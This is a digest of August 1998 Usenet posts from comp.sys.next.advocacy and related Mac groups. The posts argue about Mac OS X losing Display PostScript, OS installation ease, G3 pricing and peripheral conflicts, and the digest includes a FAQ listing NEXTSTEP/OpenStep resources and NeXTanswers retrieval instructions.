> >If you're interested in anything more than a novelty (no disrespect
> >intended) a NeXT is not the way to go.
>
> My Cube has been the most useful computer I've ever owned, and far more
> efficient to work with than the PowerMac I'm forced to use at work.
Don't complain...I have to use Windows at work.
Date: Sun, 09 Aug 1998 09:36:18 +0930
From: "Timothy Priest" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: why no display postscript?
References: <biggus.FILTER-3007981505130001@tele-anx0229.colorado.edu>
<6pqpgk$a0n$2@news.spacelab.net> <6ps985$5c1$1@sun27.hrz.tu-darmstadt.de>
<6qbe66$fv0$1@news2.alpha.net>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <35cce6aa.0@news.camtech.net.au>
In article <6qbe66$fv0$1@news2.alpha.net> , rpeterson@msn.globaldialog.com (Ron
Peterson) wrote:
>Christian Neuss (neuss.@informatik.th-darmstadt.de.nos-pam) wrote:
<SNIP>
>: Absolutely. From what I can tell, the only thing we will lose is the
>: ability to directly preview PostScript (but Frank Siegert will fix
>: this in no time at all), and to use PostScript code directly in AppKit
>: programming - an inconvinience, but given the alternatives, I'm still
>: a happy camper.
>
>We are also losing the ability to run applications on a remote
>machine.
>
> Ron
>
Just to qualify. Directly previewing postscript code is a BIG thing. Having
justr finished a PhD thesis with 100's of EPS files embedded I can honestly
sayit would have been a lot easier for me if I had true WYSIWYG previewing of
the Graphics. The pict preview I get now is just bloody terrible. Its like a
blind man has drawn something explained to him with an etch-a-sketch. Excuse my
ignorance but can someone point me to "Frank Siegert" or some info about how
this will be overcome in OS X.
Mind you, the positives seem to outweigh the negatives at this point, but it
would be nice if there were no Trade-offs.
Tim Priest
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 10 Aug 1998 04:51:58 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qlu9e$el2$1@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <35c9f33a.15355969@enews.newsguy.com>
eric@buyamac.com (Eric Lowenbach) wrote:
> 1, 2, 3..... ** P L O N K ! ! ! **
Promises promises. :)
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Petri Holopainen <petrih@algonet.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 09 Aug 1998 16:16:17 +0200
Organization: Sirius Cybernetics Corporation
Message-ID: <35CDAF31.BE1DF50D@algonet.se>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <joe.ragosta-0808980911030001@elk50.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
>
> > I admit I've never installed MacOS,
>
> Next.
The full question was: "I admit I've never installed MacOS, but if this
is "L-O-T-S HARDER" than installing MacOS, what makes installing MacOS
from scratch so much easier? "
I asked a question, since I didn't know the answer. Your remark didn't
really qualify as an answer...
-- Petri
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 8 Aug 98 18:08:11 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1F24494-E29E@206.165.43.10>
References: <joe.ragosta-0808980922080001@elk50.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>I was responding to someone who claimed that the G3 chips were way
>overpriced. Even if you're right on PII pricing, the G3/366 is about the
>same price as a PII/450. That destroys the argument that the G3 is
>overpriced.
Actually, if the P2 and G3 were comparable on consumer-oriented benchmarks,
the G3 would be WAAAY overpriced. The stated, explicit goal of the AIM
consortium was to produce CPUs that were either 2x the speed for a given
price-point, or 1/2 the price-point for a given speed.
Luckily for Apple, the G3 IS quite a performer if it is hooked to the right
memory subsystem. However, I don't know that a 366Mhz G3 is 2x faster than
a PII-400.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Petri Holopainen <petrih@algonet.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 09 Aug 1998 16:22:11 +0200
Organization: Sirius Cybernetics Corporation
Message-ID: <35CDB093.313FAE08@algonet.se>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <gmgraves-0808980824320001@sf-usr1-58-186.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
George Graves wrote:
>
> I'd say that was about as easy as it gets.
OK, it sounds easier than installing Win95. But OTH the installation
process is really NOT that hard with Win95 either. Any person with
a functioning brain should be able to install it in 20-30 minutes or
so, depending on the configuration...
BTW, NT4 can also be installed with booting directly from the CD, I've
done this with a server a while back. Pretty neat. I really don't know
why MS didn't put this option in Win9x...
-- Petri
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 10 Aug 98 02:38:28 -0600
Organization: ICGNetcom
Message-ID: <B1F40DA8-326FA6@204.31.112.111>
References: <6qloli$8hs$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy,
nntp://nntp.ix.netcom.com/comp.sys.mac.system,
nntp://nntp.ix.netcom.com/comp.sys.intel
On Sun, Aug 9, 1998 9:16 PM, quinlan@intergate.bc.ca
<mailto:quinlan@intergate.bc.ca> wrote:
>In article <gmgraves-0908981618380001@sf-usr1-57-185.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
>> These types of conflicts are GENERALLY quite easy to resolve on the Mac.
>> The Kensington/Adesso problem is easily resolved by simply making one
>> or the other (I forget which) control panels load first.
>
>Doing that would be an interesting accomplishment considering that the
>Adesso
>keyboards don't come with any software.
>
>> Most Mac users know how to effect these simple fixes.
>
>You obviously don't fit in this category considering that the solution you
>propose is impossible. Also, the technical support people at Kensington
say
>that you shouldn't use their products with Adesso products. Is that the
>simple
>fix?
>
>--
>Brian Quinlan
>quinlan@intergate.bc.ca
>
>-----== Posted via Deja News, The Leader in Internet Discussion ==-----
>http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member
>Forum
>
Maybe it's just been dumb luck, but I've been using the Kensington Turbo
Mouse 5.0 with an Adesso TruForm ergonomic keyboard for the past 8 months
or so with no problems that I can see (nothing on the order of frequent
system-related crashes anyway...). The ReadMe for MouseWorks 5.02 (rev.
2/97) didn't mention anything about Adesso keyboards under 'known
conflicts' either, FWIW, so this is honestly the first I've heard of it.
What are the symptoms? Anything specific I should check for? (What has me
wondering is that I've had the monitor 'black out' for a second and then
come right back once or twice in this timeframe, but I always figured it
was just my Apple 1705 showing its age after 2+ years of regular use --
'degaussing' has always seemed to fix it, but maybe the underlying cause
was an ADB glitch from this mouse and keyboard combination?.... The weird
thing was, the 2-3 random monitor 'blackouts' occurred when there was no
system input from either device in progress.... It's not been due to power
spikes, since I've got both the monitor and the Mac hooked into a UPS, so
any additional advice/insight would be appreciated, since it's been kinda
spooky to contend with, no matter how rarely it's been happening.... <g>
I've also got speakers and a Zip drive within a 4-inch periphery of the
monitor, so it might be a 'magnetic field' kind of issue, but I don't
remember it happening before.....)
I realize this may sound a bit like the standard Usenet 'never happens on
MY machine' denial, but I'm asking in all seriousness, should I get a
different keyboard? (Since they'd have to pry this Kensington mouse from my
cold, dead fingers, and etc.... <g>)
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"First they ignore you, then they laugh at you, then they fight you, then
you win."
-- M. Gandhi
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Sun, 09 Aug 1998 09:34:08 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0908980934080001@castle.webis.net>
References: <35cc94ae.0@news.depaul.edu> <1998080821211800.RAA21212@ladder01.news.aol.com>
NNTP-Posting-Date: 9 Aug 1998 14:33:56 GMT
In article <1998080821211800.RAA21212@ladder01.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
: As inexpensive as hard drives are, there's no reason at all to waste bandwidth
: on traditional references which can instead be stored locally.
:
Besides licensing costs.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Sun, 09 Aug 1998 09:37:23 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0908980937230001@castle.webis.net>
References: <trmp-0808980049440001@ptp28.sopris.net> <1998080817265500.NAA02007@ladder03.news.aol.com> <35cc94ae.0@news.depaul.edu> <slrn6spbg5.k22.mark@ns1.oaai.com>
NNTP-Posting-Date: 9 Aug 1998 14:37:11 GMT
In article <slrn6spbg5.k22.mark@ns1.oaai.com>, mark@OAAI.COM wrote:
: In article <35cc94ae.0@news.depaul.edu>, Jonathan W Hendry wrote:
: >> and presumably no Oxford's or TeX either. What was that quote in the
: >> preface to Digital Webster's? Something to the effect that in the future
: >> all computers which did not include built-in dictionaries would be
: >> considered barbaric?
: >
: >That was before the widespread use of the Internet. A Mac with
: >net access has far, far more online reference material available
: >than a NeXT box. There's a free Webster on the net. If you need
: >more, you can go with Encyclopedia Britannica.
:
: Perhaps this is another one of those things that, once we all get cable
: modems, will be practical. The thing I miss most moving from OS 4.2 is
: Command-= to bring up Websters. I'd tried an app that someone had written
: (great idea! BTW) that provided an Internet-based dictionary service, but
: the delay associated with accessing the various servers made the whole
: experience a non-starter...
:
There's a nice app for Mac and Windows called Alexa. It works with both
MIE and Netscape, and it has Encyclopedia Britannica and Websters access
via a toolbar (wish the toolbar was much smaller though). If the Mac had
services (one thing I really miss from NS), then that service could work
just like it was on your HD.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Conspiracy Theory
Date: Sun, 09 Aug 1998 14:30:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qkbq6$ec8$1@nnrp1.dejanews.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net> <35CB5752.DB4A33EF@ericsson.com> <19980807231805777957@ts3-40.aug.com> <35CBC6F8.BECC09E2@nstar.net> <35cc0346.0@nnrp1.news.uk.psi.net>
richard@brainstorm.co.uk. (Richard Frith-Macdonald) wrote:
> It would help if Apple weren't so reluctasnt to release any details, and
didn't
> spend so much time trying to reassure MacOS-8 users that MacOS-X is just an
> incremental development of their existing system - that amkes it very hard to
> judge what the reality of MacOS-X is. I guess there will be a lot of
corporates
> opting for Windows solutions precisely because of the uncertainty.
Agreed. It should be possible to reassure Mac OS users without jettisoning
everyone else.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Sun, 09 Aug 1998 14:27:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qkbl5$ea4$1@nnrp1.dejanews.com>
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com>
willadams@aol.com (WillAdams) wrote:
> Unfortunately, Apple is leaving out much of which was wonderful about the NeXT
> in Mac OS X/Rhapsody.
> No elegant, consistent UI, or repositionable main menu
> No dock, and constant status display of running programs, or easy program
> switching
> No iconization of documents
> No Webster's, Oxford's or TeX
I have yet to see the latest Rhapsody DR2 or (obviously) the actual shipping
product, so I can't comment on how elegant or consistent the UI might be
(though some of the things I've heard worry me).
But it does appear that -- menus will tear off, so even though it seems we're
stuck with losing that top band of the monitor (sigh) at least the tear-off
functionality (which IMHO is more important than repositioning the main menu
itself) remains. -- a port of fiend.app, which is a dock replacement, has
already been announced -- Webster's etc are apps, and if they don't ship as
standard should certainly be easy to replace. More to the point, though, is
whether NeXTSTEP-style services will exist in Mac OS X. Anyone?
> However, you can get a real NeXT for not too much these days, www.orb.com or
> www.deepspacetech.com, or one can run white hardware if careful about choosing
> stuff which is compatible.
My 1991 slab is still my primary work machine (how many 1991-vintage PCs or
even Macs can say that?). But it is becoming time to switch to something
faster.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 09 Aug 1998 09:40:53 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-0908980940530001@castle.webis.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <gmgraves-0808980824320001@sf-usr1-58-186.dialup.slip.net> <35CDB093.313FAE08@algonet.se>
NNTP-Posting-Date: 9 Aug 1998 14:40:41 GMT
In article <35CDB093.313FAE08@algonet.se>, Petri Holopainen
<petrih@algonet.se> wrote:
: George Graves wrote:
: >
: > I'd say that was about as easy as it gets.
:
: OK, it sounds easier than installing Win95. But OTH the installation
: process is really NOT that hard with Win95 either. Any person with
: a functioning brain should be able to install it in 20-30 minutes or
: so, depending on the configuration...
:
: BTW, NT4 can also be installed with booting directly from the CD, I've
: done this with a server a while back. Pretty neat. I really don't know
First of all, if you're installing the OS on 5-30 computers, the Mac's
start and go is really nice. Babysitting each install is a pain.
Second of all, I have worked on 4 new Dells, none of which can boot off
the NT 4 CD.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <macman-0908981042450001@d185d1c66.rochester.rr.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu> <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net> <joe.ragosta-0608980731080001@0.0.0.0> <MPG.10336abdffe86b6c989778@news.itg.ti.com>
Organization: Jessi Group, Inc.
Date: Sun, 09 Aug 1998 14:39:48 GMT
NNTP-Posting-Date: Sun, 09 Aug 1998 10:39:48 EDT
In article <MPG.10336abdffe86b6c989778@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> Joe, check out that iMac demo with the little kid vs. an adult trying to
> get on the internet. They don't say "up to".. They just say "twice as
> fast".
Actually, it's was "more than 3 times faster". The kid (with an iMac) was
online in 8 minutes, and the adult (with an HP Pavilion 8250) took 27
minutes.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <6522902030423@digifix.com>
Date: 9 Aug 1998 03:48:30 GMT
Organization: Digital Fix Development
Message-ID: <11760902635220@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: Holger Franz <hfranz+usenet@cuci.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.society.futures
Subject: Re: Ok, so doesn't Linux solve Apple's problems?
Date: 09 Aug 1998 18:28:25 +0200
Organization: Cubic Circle
Message-ID: <m3r9yqxgpi.fsf@minerva.hfranz.cm.cuci.nl>
References: <6qbfd8$134$1@mail.llu.edu> <joe.ragosta-0608980803160001@0.0.0.0> <6qce0h$r12$3@nnrp02.primenet.com> <joe.ragosta-0608981034100001@wil64.dol.net> <6qcm6m$kf4$4@nnrp03.primenet.com> <joe.ragosta-0608981343160001@wil38.dol.net> <10397493D9F9D620.7A8BEB7286739C10.4B76E5EE595FAD4B@library-proxy.airnews.net> <m3r9ysx7ob.fsf@minerva.hfranz.cm.cuci.nl> <2C4D28DD7886FFF9.149D1C795DE032AE.DF71131897BC388C@library-proxy.airnews.net> <6qie5m$1m9$1@nnrp02.primenet.com>
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
John Jensen <jjens@primenet.com> writes:
> Perhaps:
>
> - Apple continues to back Linux as a hedge against other bets?
>
> - Apple thinks MacOS X will compete well on ease-of-use vs. Linux?
>
> - Apple doesn't understand the momentum behind Linux?
>
> - Apple really is a bunch of hippies who are secretly rooting for
> Linux to win?
>
> I'd be interested in hearing other analysis,
- Apple will support anything today and drop it tomorrow. Ask any
Newton MessagePad owner.
--
Holger Franz <hfranz@cuci.nl>
<hfranz@physik.rwth-aachen.de>
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
